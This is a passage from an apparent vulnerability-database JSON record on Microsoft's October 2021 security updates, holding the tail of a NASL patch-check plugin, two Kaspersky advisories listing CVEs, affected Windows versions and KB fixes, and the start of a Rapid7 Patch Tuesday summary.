severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:\"10\",\n sp:0,\n os_build:'19041',\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006670]\n )\n|| smb_check_rollup(os:\"10\",\n sp:0,\n os_build:'19042',\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006670]\n ) \n|| smb_check_rollup(os:\"10\",\n sp:0,\n os_build:'19043',\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006670]\n ) \n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "kaspersky": [{"lastseen": "2022-01-19T17:39:29", "description": "### *Detect date*:\n10/12/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Products (Extended Security Update). Malicious users can exploit these vulnerabilities to spoof user interface, obtain sensitive information, gain privileges, execute arbitrary code, cause denial of service, bypass security restrictions.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nWindows 10 for 32-bit Systems \nWindows Server, version 2004 (Server Core installation) \nWindows RT 8.1 \nWindows 10 Version 20H2 for ARM64-based Systems \nWindows 10 Version 21H1 for x64-based Systems \nWindows 10 Version 1809 for 32-bit Systems \nWindows 7 for 32-bit Systems Service Pack 1 \nWindows Server, version 20H2 (Server Core Installation) \nWindows 7 for x64-based Systems Service Pack 1 \nWindows Server 2012 (Server Core installation) \nWindows 10 Version 21H1 for ARM64-based Systems \nWindows Server 2016 (Server Core installation) \nWindows 10 Version 20H2 for 32-bit Systems \nWindows 11 for x64-based Systems \nWindows Server 2019 (Server Core installation) \nWindows 10 Version 1909 for ARM64-based Systems \nWindows Server 2012 R2 \nWindows 10 Version 2004 for 32-bit Systems \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 \nWindows Server 2022 (Server Core installation) \nWindows 10 Version 1607 for 32-bit Systems \nWindows 11 for ARM64-based Systems \nWindows 10 Version 1909 for x64-based Systems \nWindows Server 2008 for x64-based Systems Service Pack 2 \nWindows Server 2016 \nWindows Server 2008 for 32-bit Systems Service Pack 2 \nWindows 10 Version 2004 for ARM64-based Systems \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) \nWindows 10 Version 20H2 for x64-based Systems \nWindows 10 for x64-based Systems \nWindows 10 Version 21H1 for 32-bit Systems \nWindows 10 Version 1809 for ARM64-based Systems \nWindows Server 2012 \nWindows 10 Version 2004 for x64-based Systems \nWindows 10 Version 1809 for x64-based Systems \nWindows 10 Version 1607 for x64-based Systems \nWindows 10 Version 1909 for 32-bit Systems \nWindows Server 2019 \nWindows Server 2022 \nWindows Server 2012 R2 (Server Core installation) \nWindows 8.1 for x64-based systems \nWindows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) \nWindows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) \nWindows 8.1 for 32-bit systems\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-36970](<https://nvd.nist.gov/vuln/detail/CVE-2021-36970>) \n[CVE-2021-40455](<https://nvd.nist.gov/vuln/detail/CVE-2021-40455>) \n[CVE-2021-38662](<https://nvd.nist.gov/vuln/detail/CVE-2021-38662>) \n[CVE-2021-41335](<https://nvd.nist.gov/vuln/detail/CVE-2021-41335>) \n[CVE-2021-40449](<https://nvd.nist.gov/vuln/detail/CVE-2021-40449>) \n[CVE-2021-38663](<https://nvd.nist.gov/vuln/detail/CVE-2021-38663>) \n[CVE-2021-41342](<https://nvd.nist.gov/vuln/detail/CVE-2021-41342>) \n[CVE-2021-26442](<https://nvd.nist.gov/vuln/detail/CVE-2021-26442>) \n[CVE-2021-41332](<https://nvd.nist.gov/vuln/detail/CVE-2021-41332>) \n[CVE-2021-40466](<https://nvd.nist.gov/vuln/detail/CVE-2021-40466>) \n[CVE-2021-41331](<https://nvd.nist.gov/vuln/detail/CVE-2021-41331>) \n[CVE-2021-40469](<https://nvd.nist.gov/vuln/detail/CVE-2021-40469>) \n[CVE-2021-41340](<https://nvd.nist.gov/vuln/detail/CVE-2021-41340>) \n[CVE-2021-40467](<https://nvd.nist.gov/vuln/detail/CVE-2021-40467>) \n[CVE-2021-36953](<https://nvd.nist.gov/vuln/detail/CVE-2021-36953>) \n[CVE-2021-40489](<https://nvd.nist.gov/vuln/detail/CVE-2021-40489>) \n[CVE-2021-40443](<https://nvd.nist.gov/vuln/detail/CVE-2021-40443>) \n[CVE-2021-40460](<https://nvd.nist.gov/vuln/detail/CVE-2021-40460>) \n[CVE-2021-40465](<https://nvd.nist.gov/vuln/detail/CVE-2021-40465>) \n[CVE-2021-41343](<https://nvd.nist.gov/vuln/detail/CVE-2021-41343>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Windows](<https://threats.kaspersky.com/en/product/Microsoft-Windows/>)\n\n### *CVE-IDS*:\n[CVE-2021-36970](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36970>)4.3Warning \n[CVE-2021-40455](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40455>)2.1Warning \n[CVE-2021-38662](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38662>)4.9Warning \n[CVE-2021-41335](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41335>)7.2High \n[CVE-2021-40449](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449>)4.6Warning \n[CVE-2021-38663](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38663>)2.1Warning \n[CVE-2021-41342](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41342>)6.8High \n[CVE-2021-26442](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26442>)4.6Warning \n[CVE-2021-41332](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41332>)4.0Warning \n[CVE-2021-40466](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40466>)4.6Warning \n[CVE-2021-41331](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41331>)6.8High \n[CVE-2021-40469](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40469>)6.5High \n[CVE-2021-41340](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41340>)6.8High \n[CVE-2021-40467](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40467>)4.6Warning \n[CVE-2021-36953](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36953>)5.0Critical \n[CVE-2021-40489](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40489>)7.2High \n[CVE-2021-40443](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40443>)4.6Warning \n[CVE-2021-40460](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40460>)4.0Warning \n[CVE-2021-40465](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40465>)6.8High \n[CVE-2021-41343](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41343>)2.1Warning\n\n### *KB list*:\n[5006671](<http://support.microsoft.com/kb/5006671>) \n[5006736](<http://support.microsoft.com/kb/5006736>) \n[5006743](<http://support.microsoft.com/kb/5006743>) \n[5006728](<http://support.microsoft.com/kb/5006728>) \n[5006715](<http://support.microsoft.com/kb/5006715>)\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-12T00:00:00", "type": "kaspersky", "title": "KLA12309 Multiple vulnerabilities in Microsoft Products (ESU)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40455", "CVE-2021-40460", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40469", "CVE-2021-40489", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41335", "CVE-2021-41340", "CVE-2021-41342", "CVE-2021-41343"], "modified": "2022-01-18T00:00:00", "id": "KLA12309", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12309/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-19T17:39:26", "description": "### *Detect date*:\n10/12/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Windows. Malicious users can exploit these vulnerabilities to gain privileges, bypass security restrictions, obtain sensitive information, spoof user interface, execute arbitrary code, cause denial of service.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nWindows 10 for 32-bit Systems \nWindows Server, version 2004 (Server Core installation) \nWindows RT 8.1 \nWindows 10 Version 20H2 for ARM64-based Systems \nWindows 10 Version 21H1 for x64-based Systems \nWindows 10 Version 1809 for 32-bit Systems \nWindows 7 for 32-bit Systems Service Pack 1 \nWindows Server, version 20H2 (Server Core Installation) \nWindows 7 for x64-based Systems Service Pack 1 \nWindows Server 2012 (Server Core installation) \nWindows 10 Version 21H1 for ARM64-based Systems \nWindows Server 2016 (Server Core installation) \nWindows 10 Version 20H2 for 32-bit Systems \nWindows 11 for x64-based Systems \nWindows Server 2019 (Server Core installation) \nWindows 10 Version 1909 for ARM64-based Systems \nWindows Server 2012 R2 \nWindows 10 Version 2004 for 32-bit Systems \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 \nWindows Server 2022 (Server Core installation) \nWindows 10 Version 1607 for 32-bit Systems \nWindows 11 for ARM64-based Systems \nWindows 10 Version 1909 for x64-based Systems \nWindows Server 2008 for x64-based Systems Service Pack 2 \nWindows Server 2016 \nWindows Server 2008 for 32-bit Systems Service Pack 2 \nWindows 10 Version 2004 for ARM64-based Systems \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) \nWindows 10 Version 20H2 for x64-based Systems \nWindows 10 for x64-based Systems \nWindows 10 Version 21H1 for 32-bit Systems \nWindows 10 Version 1809 for ARM64-based Systems \nWindows Server 2012 \nWindows 10 Version 2004 for x64-based Systems \nWindows 10 Version 1809 for x64-based Systems \nWindows 10 Version 1607 for x64-based Systems \nWindows 10 Version 1909 for 32-bit Systems \nWindows Server 2019 \nWindows Server 2022 \nWindows Server 2012 R2 (Server Core installation) \nWindows 8.1 for x64-based systems \nWindows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) \nWindows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) \nWindows 8.1 for 32-bit systems\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-40464](<https://nvd.nist.gov/vuln/detail/CVE-2021-40464>) \n[CVE-2021-40477](<https://nvd.nist.gov/vuln/detail/CVE-2021-40477>) \n[CVE-2021-41337](<https://nvd.nist.gov/vuln/detail/CVE-2021-41337>) \n[CVE-2021-40470](<https://nvd.nist.gov/vuln/detail/CVE-2021-40470>) \n[CVE-2021-41336](<https://nvd.nist.gov/vuln/detail/CVE-2021-41336>) \n[CVE-2021-40455](<https://nvd.nist.gov/vuln/detail/CVE-2021-40455>) \n[CVE-2021-41345](<https://nvd.nist.gov/vuln/detail/CVE-2021-41345>) \n[CVE-2021-41335](<https://nvd.nist.gov/vuln/detail/CVE-2021-41335>) \n[CVE-2021-40468](<https://nvd.nist.gov/vuln/detail/CVE-2021-40468>) \n[CVE-2021-40449](<https://nvd.nist.gov/vuln/detail/CVE-2021-40449>) \n[CVE-2021-40488](<https://nvd.nist.gov/vuln/detail/CVE-2021-40488>) \n[CVE-2021-38663](<https://nvd.nist.gov/vuln/detail/CVE-2021-38663>) \n[CVE-2021-40476](<https://nvd.nist.gov/vuln/detail/CVE-2021-40476>) \n[CVE-2021-41342](<https://nvd.nist.gov/vuln/detail/CVE-2021-41342>) \n[CVE-2021-26442](<https://nvd.nist.gov/vuln/detail/CVE-2021-26442>) \n[CVE-2021-40461](<https://nvd.nist.gov/vuln/detail/CVE-2021-40461>) \n[CVE-2021-41339](<https://nvd.nist.gov/vuln/detail/CVE-2021-41339>) \n[CVE-2021-40467](<https://nvd.nist.gov/vuln/detail/CVE-2021-40467>) \n[CVE-2021-41340](<https://nvd.nist.gov/vuln/detail/CVE-2021-41340>) \n[CVE-2021-41330](<https://nvd.nist.gov/vuln/detail/CVE-2021-41330>) \n[CVE-2021-40443](<https://nvd.nist.gov/vuln/detail/CVE-2021-40443>) \n[CVE-2021-40489](<https://nvd.nist.gov/vuln/detail/CVE-2021-40489>) \n[CVE-2021-40463](<https://nvd.nist.gov/vuln/detail/CVE-2021-40463>) \n[CVE-2021-40475](<https://nvd.nist.gov/vuln/detail/CVE-2021-40475>) \n[CVE-2021-41343](<https://nvd.nist.gov/vuln/detail/CVE-2021-41343>) \n[CVE-2021-41346](<https://nvd.nist.gov/vuln/detail/CVE-2021-41346>) \n[CVE-2021-40478](<https://nvd.nist.gov/vuln/detail/CVE-2021-40478>) \n[CVE-2021-40456](<https://nvd.nist.gov/vuln/detail/CVE-2021-40456>) \n[CVE-2021-40462](<https://nvd.nist.gov/vuln/detail/CVE-2021-40462>) \n[CVE-2021-36970](<https://nvd.nist.gov/vuln/detail/CVE-2021-36970>) \n[CVE-2021-38662](<https://nvd.nist.gov/vuln/detail/CVE-2021-38662>) \n[CVE-2021-41357](<https://nvd.nist.gov/vuln/detail/CVE-2021-41357>) \n[CVE-2021-41332](<https://nvd.nist.gov/vuln/detail/CVE-2021-41332>) \n[CVE-2021-40466](<https://nvd.nist.gov/vuln/detail/CVE-2021-40466>) \n[CVE-2021-41331](<https://nvd.nist.gov/vuln/detail/CVE-2021-41331>) \n[CVE-2021-38672](<https://nvd.nist.gov/vuln/detail/CVE-2021-38672>) \n[CVE-2021-40469](<https://nvd.nist.gov/vuln/detail/CVE-2021-40469>) \n[CVE-2021-41338](<https://nvd.nist.gov/vuln/detail/CVE-2021-41338>) \n[CVE-2021-40450](<https://nvd.nist.gov/vuln/detail/CVE-2021-40450>) \n[CVE-2021-41347](<https://nvd.nist.gov/vuln/detail/CVE-2021-41347>) \n[CVE-2021-36953](<https://nvd.nist.gov/vuln/detail/CVE-2021-36953>) \n[CVE-2021-40460](<https://nvd.nist.gov/vuln/detail/CVE-2021-40460>) \n[CVE-2021-26441](<https://nvd.nist.gov/vuln/detail/CVE-2021-26441>) \n[CVE-2021-40465](<https://nvd.nist.gov/vuln/detail/CVE-2021-40465>) \n[CVE-2021-40454](<https://nvd.nist.gov/vuln/detail/CVE-2021-40454>) \n[CVE-2021-41361](<https://nvd.nist.gov/vuln/detail/CVE-2021-41361>) \n[CVE-2021-41334](<https://nvd.nist.gov/vuln/detail/CVE-2021-41334>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Office](<https://threats.kaspersky.com/en/product/Microsoft-Office/>)\n\n### *CVE-IDS*:\n[CVE-2021-36970](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36970>)4.3Warning \n[CVE-2021-40455](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40455>)2.1Warning \n[CVE-2021-38662](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38662>)4.9Warning \n[CVE-2021-41335](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41335>)7.2High \n[CVE-2021-40449](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449>)4.6Warning \n[CVE-2021-38663](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38663>)2.1Warning \n[CVE-2021-41342](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41342>)6.8High \n[CVE-2021-26442](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26442>)4.6Warning \n[CVE-2021-41332](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41332>)4.0Warning \n[CVE-2021-40466](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40466>)4.6Warning \n[CVE-2021-41331](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41331>)6.8High \n[CVE-2021-40469](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40469>)6.5High \n[CVE-2021-41340](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41340>)6.8High \n[CVE-2021-40467](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40467>)4.6Warning \n[CVE-2021-36953](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36953>)5.0Critical \n[CVE-2021-40489](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40489>)7.2High \n[CVE-2021-40443](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40443>)4.6Warning \n[CVE-2021-40460](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40460>)4.0Warning \n[CVE-2021-40465](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40465>)6.8High \n[CVE-2021-41343](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41343>)2.1Warning \n[CVE-2021-40464](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40464>)5.2High \n[CVE-2021-40477](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40477>)4.6Warning \n[CVE-2021-41337](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41337>)4.0Warning \n[CVE-2021-40470](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40470>)4.6Warning \n[CVE-2021-41336](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41336>)2.1Warning \n[CVE-2021-41345](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41345>)7.2High \n[CVE-2021-40468](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40468>)2.1Warning \n[CVE-2021-40488](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40488>)7.2High \n[CVE-2021-40476](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40476>)6.8High \n[CVE-2021-40461](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40461>)5.2High \n[CVE-2021-41339](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41339>)4.6Warning \n[CVE-2021-41330](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41330>)6.8High \n[CVE-2021-40463](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40463>)4.0Warning \n[CVE-2021-40475](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40475>)2.1Warning \n[CVE-2021-41346](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41346>)4.6Warning \n[CVE-2021-40478](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40478>)7.2High \n[CVE-2021-40456](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40456>)5.0Critical \n[CVE-2021-40462](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40462>)6.8High \n[CVE-2021-41357](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41357>)4.6Warning \n[CVE-2021-38672](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38672>)5.2High \n[CVE-2021-41338](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41338>)2.1Warning \n[CVE-2021-40450](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40450>)4.6Warning \n[CVE-2021-41347](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41347>)4.6Warning \n[CVE-2021-26441](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26441>)4.6Warning \n[CVE-2021-40454](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40454>)2.1Warning \n[CVE-2021-41361](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41361>)3.5Warning \n[CVE-2021-41334](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41334>)4.6Warning\n\n### *KB list*:\n[5006699](<http://support.microsoft.com/kb/5006699>) \n[5006672](<http://support.microsoft.com/kb/5006672>) \n[5006674](<http://support.microsoft.com/kb/5006674>) \n[5006670](<http://support.microsoft.com/kb/5006670>) \n[5006667](<http://support.microsoft.com/kb/5006667>) \n[5006669](<http://support.microsoft.com/kb/5006669>) \n[5006729](<http://support.microsoft.com/kb/5006729>) \n[5006671](<http://support.microsoft.com/kb/5006671>) \n[5006732](<http://support.microsoft.com/kb/5006732>) \n[5006675](<http://support.microsoft.com/kb/5006675>) \n[5006714](<http://support.microsoft.com/kb/5006714>) \n[5006739](<http://support.microsoft.com/kb/5006739>)\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.0, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-10-12T00:00:00", "type": "kaspersky", "title": "KLA12310 Multiple vulnerabilities in Microsoft Windows", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26441", "CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-38672", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40450", "CVE-2021-40454", "CVE-2021-40455", "CVE-2021-40456", "CVE-2021-40460", "CVE-2021-40461", "CVE-2021-40462", "CVE-2021-40463", "CVE-2021-40464", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40468", "CVE-2021-40469", "CVE-2021-40470", "CVE-2021-40475", "CVE-2021-40476", "CVE-2021-40477", "CVE-2021-40478", "CVE-2021-40488", "CVE-2021-40489", "CVE-2021-41330", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41334", "CVE-2021-41335", "CVE-2021-41336", "CVE-2021-41337", "CVE-2021-41338", "CVE-2021-41339", "CVE-2021-41340", "CVE-2021-41342", "CVE-2021-41343", "CVE-2021-41345", "CVE-2021-41346", "CVE-2021-41347", "CVE-2021-41357", "CVE-2021-41361"], "modified": "2022-01-18T00:00:00", "id": "KLA12310", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12310/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-10-20T09:06:39", "description": "\n\nToday\u2019s Patch Tuesday sees Microsoft [issuing fixes](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Oct>) for over 70 CVEs, affecting the usual mix of their product lines. From Windows, Edge, and Office, to Exchange, SharePoint, and Dynamics, there is plenty of patching to do for workstation and server administrators alike.\n\nOne vulnerability has already been seen exploited in the wild: [CVE-2021-40449](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40449>) is an elevation of privilege vulnerability in all supported versions of Windows, including the newly released Windows 11. Rated as Important, this is likely being used alongside Remote Code Execution (RCE) and/or social engineering attacks to gain more complete control of targeted systems.\n\nThree CVEs were publicly disclosed before today, though haven\u2019t yet been observed in active exploitation. [CVE-2021-40469](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40469>) is an RCE vulnerability affecting Microsoft DNS servers, [CVE-2021-41335](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-41335>) is another privilege escalation vulnerability in the Windows Kernel, and [CVE-2021-41338](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-41338>) is a flaw in Windows AppContainer allowing attackers to bypass firewall rules.\n\nAttackers will likely be paying attention to the latest Windows Print Spooler vulnerability \u2013 [CVE-2021-36970](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36970>) is a Spoofing vulnerability with a CVSSv3 score of 8.8 that we don\u2019t yet have much more information about. Also worth noting is [CVE-2021-40486](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40486>), an RCE affecting Microsoft Word, OWA, as well as SharePoint Server, which can be exploited via the Preview Pane. [CVE-2021-40487](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40487>) is another RCE affecting SharePoint Server that Microsoft expects to be exploited before too long.\n\nAnother notable vulnerability is [CVE-2021-26427](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26427>), the latest in Exchange Server RCEs. The severity is mitigated by the fact that attacks are limited to a \u201clogically adjacent topology,\u201d meaning that it cannot be exploited directly over the public Internet. Three other vulnerabilities related to Exchange Server were also patched: [CVE-2021-41350](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-41350>), a Spoofing vulnerability; [CVE-2021-41348](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-41348>), allowing elevation of privilege; and [CVE-2021-34453](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34453>), which is a Denial of Service vulnerability.\n\nFinally, virtualization administrators should be aware of two RCEs affecting Windows Hyper-V: [CVE-2021-40461](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40461>) and [CVE-2021-38672](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38672>). Both affect relatively new versions of Windows and are considered Critical, allowing a VM to escape from guest to host by triggering a memory allocation error, allowing it to read kernel memory in the host.\n\n## Summary Charts\n\n\n\n## Summary Tables\n\n### Apps Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-41363](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41363>) | Intune Management Extension Security Feature Bypass Vulnerability | No | No | 4.2 | Yes \n \n### Browser Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-37980](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-37980>) | Chromium: CVE-2021-37980 Inappropriate implementation in Sandbox | No | No | N/A | Yes \n[CVE-2021-37979](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-37979>) | Chromium: CVE-2021-37979 Heap buffer overflow in WebRTC | No | No | N/A | Yes \n[CVE-2021-37978](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-37978>) | Chromium: CVE-2021-37978 Heap buffer overflow in Blink | No | No | N/A | Yes \n[CVE-2021-37977](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-37977>) | Chromium: CVE-2021-37977 Use after free in Garbage Collection | 